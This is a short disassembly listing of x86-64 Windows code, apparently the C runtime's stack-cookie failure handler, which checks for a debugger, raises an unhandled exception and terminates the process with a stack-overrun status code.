mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18003ac98], eax
mov ecx, 1
call fcn.180020f44
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18002a240]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18003ac98], 0
jne 0x18001924a
mov ecx, 1
call fcn.180020f44
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret